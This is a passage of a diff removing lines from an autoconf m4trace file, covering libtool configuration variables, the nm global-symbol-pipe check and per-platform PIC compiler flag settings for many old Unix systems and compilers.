-no_undefined_flag=$lt_[]_LT_AC_TAGVAR(no_undefined_flag, $1)
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$_LT_AC_TAGVAR(hardcode_action, $1)
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_separator, $1)
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$_LT_AC_TAGVAR(hardcode_direct, $1)
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$_LT_AC_TAGVAR(hardcode_minus_L, $1)
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$_LT_AC_TAGVAR(hardcode_automatic, $1)
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$_LT_AC_TAGVAR(link_all_deplibs, $1)
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$_LT_AC_TAGVAR(fix_srcfile_path, $1)"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$_LT_AC_TAGVAR(always_export_symbols, $1)
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1)
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1)
-
-# Symbols that must always be exported.
-include_expsyms=$lt_[]_LT_AC_TAGVAR(include_expsyms, $1)
-
-ifelse([$1],[],
-[# ### END LIBTOOL CONFIG],
-[# ### END LIBTOOL TAG CONFIG: $tagname])
-
-__EOF__
-
-ifelse([$1],[], [
- case $host_os in
- aix3*)
- cat <<\EOF >> "$cfgfile"
-
-# AIX sometimes has problems with the GCC collect2 program. For some
-# reason, if we set the COLLECT_NAMES environment variable, the problems
-# vanish in a puff of smoke.
-if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
-fi
-EOF
- ;;
- esac
-
- # We use sed instead of cat because bash on DJGPP gets confused if
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
- sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
-
- mv -f "$cfgfile" "$ofile" || \
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-])
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-])
-m4trace:acinclude.m4:5199: -1- AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
-
-_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
-
-if test "$GCC" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
-
- AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions],
- lt_cv_prog_compiler_rtti_exceptions,
- [-fno-rtti -fno-exceptions], [],
- [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"])
-fi
-])
-m4trace:acinclude.m4:5217: -1- AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_REQUIRE([AC_CANONICAL_HOST])
-AC_REQUIRE([AC_PROG_NM])
-AC_REQUIRE([AC_OBJEXT])
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-AC_MSG_CHECKING([command to parse $NM output from $compiler object])
-AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe],
-[
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
-symcode='[[BCDEGRST]]'
-
-# Regexp to match symbols that can be accessed directly from C.
-sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)'
-
-# Transform an extracted symbol line into a proper C declaration
-lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
-
-# Transform an extracted symbol line into symbol name and symbol address
-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[[BCDT]]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[[ABCDGISTW]]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[[ABCDEGRST]]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[[ABCDGIRSTW]]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[[BCDEGRST]]'
- ;;
-osf*)
- symcode='[[BCDEGQRST]]'
- ;;
-solaris*)
- symcode='[[BDRT]]'
- ;;
-sco3.2v5*)
- symcode='[[DT]]'
- ;;
-sysv4.2uw2*)
- symcode='[[DT]]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[[ABDT]]'
- ;;
-sysv4)
- symcode='[[DFNSTU]]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[[ABCDGIRSTW]]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if AC_TRY_EVAL(ac_compile); then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[[]] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-])
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- AC_MSG_RESULT(failed)
-else
- AC_MSG_RESULT(ok)
-fi
-])
-m4trace:acinclude.m4:5419: -1- AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC], [_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=
-_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
-_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=
-
-AC_MSG_CHECKING([for $compiler option to produce PIC])
- ifelse([$1],[CXX],[
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- else
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- fi
- ;;
- aCC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- lcc*)
- # Lucid
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
- esac
- fi
-],
-[
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- ;;
-
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- else
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # PIC (with -KPIC) is the default.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
-
- newsos6)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- ccc*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # All Alpha code is PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # All OSF/1 code is PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
-
- solaris*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
- esac
- ;;
-
- sunos4*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- unicos*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
-
- uts4*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
- esac
- fi
-])
-AC_MSG_RESULT([$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)])
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)"; then
- AC_LIBTOOL_COMPILER_OPTION([if $compiler PIC flag $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) works],
- _LT_AC_TAGVAR(lt_prog_compiler_pic_works, $1),
- [$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])], [],
- [case $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) in
- "" | " "*) ;;
- *) _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=" $_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)" ;;
- esac],
- [_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no])
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)ifelse([$1],[],[ -DPIC],[ifelse([$1],[CXX],[ -DPIC],[])])"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
